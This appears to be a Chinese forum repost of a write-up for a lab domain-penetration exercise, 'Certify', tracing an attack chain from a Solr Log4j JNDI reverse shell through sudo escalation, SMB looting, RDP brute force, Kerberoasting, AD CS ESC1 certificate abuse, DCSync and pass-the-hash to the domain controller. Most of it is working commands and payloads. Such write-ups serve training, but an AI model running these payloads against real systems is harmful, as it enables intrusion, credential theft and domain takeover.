跳转到帖子

春秋云镜-【仿真场景】Certify writeup

recommended_posts

发布于
  • Members

说明

Certify是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

技术

Solr、AD CS、SMB、Kerberos、域渗透

第一个flag

log4j RCE

扫描外网IP

ov4n3e1s3yx7219.png

发现solr存在log4j的组件,测试是否存在rce

e1if2en0j4h7220.png
GET /solr/admin/cores?action=${jndi:ldap://1p9bvr.dnslog.cn} HTTP/1.1
Host: 47.92.113.194:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://47.92.113.194:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Connection: close
qnnur5abc4r7221.png

dnslog回显

0xqjhvfhwzp7222.png

JNDI反弹shell,在VPS上开启

# 加载恶意类
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 47.103.xxx.xxx

#开启监听
nc -lvvp 5555
wvom4caswfo7223.png

payload

${jndi:ldap://47.103.xxx.xxx:1389/Basic/ReverseShell/47.103.xxx.xxx/5555}

发送请求

GET /solr/admin/cores?action=${jndi:ldap://47.103.xxx.xxx:1389/Basic/ReverseShell/47.103.xxx.xxx/5555}&wt=json HTTP/1.1
Host: 47.92.113.194:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://47.92.113.194:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Connection: close

成功反弹shell

x5fl305xjst7224.png

sudo提权

sudo -l
vsnlc1s2wnd7225.png
sudo grc --help
jq4qjferyka7226.png
sudo grc --pty whoami
ss4t40pdzv57227.png

查找flag

sudo grc --pty find / -name flag*
otzxrjd4a4q7228.png

输出flag

sudo grc --pty cat /root/flag/flag01.txt
3ritgvqrhhr7229.png

第二个flag

内网渗透

出口机器上代理,并扫描内网,具体就不赘述了(架设http服务,wget 下载npc和fscan)

172.22.9.13:445 open
172.22.9.26:445 open
172.22.9.47:445 open
172.22.9.7:445 open
172.22.9.26:139 open
172.22.9.47:139 open
172.22.9.7:139 open
172.22.9.26:135 open
172.22.9.13:139 open
172.22.9.13:135 open
172.22.9.7:135 open
172.22.9.26:80 open
172.22.9.47:80 open
172.22.9.19:80 open
172.22.9.47:22 open
172.22.9.47:21 open
172.22.9.19:22 open
172.22.9.7:88 open
172.22.9.19:8983 open
[+] NetInfo:
[*]172.22.9.13
   [->]CA01
   [->]172.22.9.13
[*] 172.22.9.7     [+]DC XIAORANG\XIAORANG-DC     
[*] 172.22.9.26          XIAORANG\DESKTOP-CBKTVMO   
[+] NetInfo:
[*]172.22.9.26
   [->]DESKTOP-CBKTVMO
   [->]172.22.9.26
[+] NetInfo:
[*]172.22.9.7
   [->]XIAORANG-DC
   [->]172.22.9.7
[*] 172.22.9.13          XIAORANG\CA01            
[*] WebTitle:http://172.22.9.47        code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
[*] WebTitle:http://172.22.9.19        code:200 len:612    title:Welcome to nginx!
[*] 172.22.9.47          WORKGROUP\FILESERVER        Windows 6.1
[*] 172.22.9.47  (Windows 6.1)
[*] WebTitle:http://172.22.9.19:8983   code:302 len:0      title:None 跳转url: http://172.22.9.19:8983/solr/
[*] WebTitle:http://172.22.9.26        code:200 len:703    title:IIS Windows Server
[*] WebTitle:http://172.22.9.19:8983/solr/ code:200 len:16555  title:Solr Admin

发现以下资产

172.22.9.19 入口IP
172.22.9.7  DC
172.22.9.26 域成员
172.22.9.47 文件服务器
172.22.9.13 CA

根据提示,文件服务器应该存在smb的共享,进一步收集信息

注意:fscan不扫描smb的共享模式,所以可以采用nmap来扫描

sudo grc --pty nmap -sT -A 172.22.9.47
2nupcio4mds7230.png

使用 smbclient 连接共享

proxychains smbclient \\\\172.22.9.47\\fileshare
dir
get personnel.db
get secret\flag02.txt
f3rjgdtxpe37231.png

获得falg02,还有一段提示 you have enumerated smb. But do you know what an SPN is?

a3ihwzgym5r7232.png

第三个flag

数据库文件中有几个用户名和密码

kr0b31a3fbu7233.png

rdp破解

proxychains hydra -L user.txt -P pwd.txt 172.22.9.26 rdp -vV -e ns
ovw4v2d4jaz7234.png

获得了两个账号,但是无法远程登录

Kerberoast攻击

使用GetUserSPNs.py寻找注册在域用户下的SPN

proxychains python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian
xxx3nd1hihk7235.png

hash 离线破解,速度很快,1.txt 是hash值,rockyou.txt 是kali自带的密码本

hashcat64.exe -m 13100 1.txt rockyou.txt
r0szvnezwh27236.png

得到zhangxia/MyPass2@@6,使用账号密码远程登录即可

注意,因为是域账号所以用户名为 [email protected],登录完成后并不能直接访问administrator的目录查找flag,因为不是管理员权限

4v5rl2gftxz7237.png

ADCS ESC1

使用Certify.exe定位漏洞

Certify.exe find /vulnerable
xanrsommr2q7238.png

ESC1利用前提条件:

msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT

表示基于此证书模板申请新证书的用户可以为其他用户申请证书,即任何用户,包括域管理员用户
PkiExtendedKeyUsage: Client Authentication

表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证

Enrollment Rights: NT Authority\Authenticated Users

表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书

为域管申请证书

Certify.exe request /ca:CA01.xiaorang.lab\xiaorang-CA01-CA /template:"XR Manager" /altname:XIAORANG.LAB\Administrator
2exinkclnup7239.png

转换格式

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

请求TGT、PTT

因为导出证书转换的时候并没有输入密码,所以这里密码留空就行

Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt
dbtczv4h05k7240.png

获取到域管的票据后导出哈希

mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
wy3wkx3dvpf7241.png

哈希传递

PTH 172.22.9.26

proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
4yeewrkq1pt7242.png

第四个flag

PTH DC

proxychains python3 wmiexec.py -hashes 00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 [email protected]
maxa3cf033h7243.png

原文链接: https://zhuanlan.zhihu.com/p/581487685
  • 查看数 712
  • 已创建
  • 最后回复

参与讨论

你可立刻发布并稍后注册。 如果你有帐户,立刻登录发布帖子。

游客
回帖…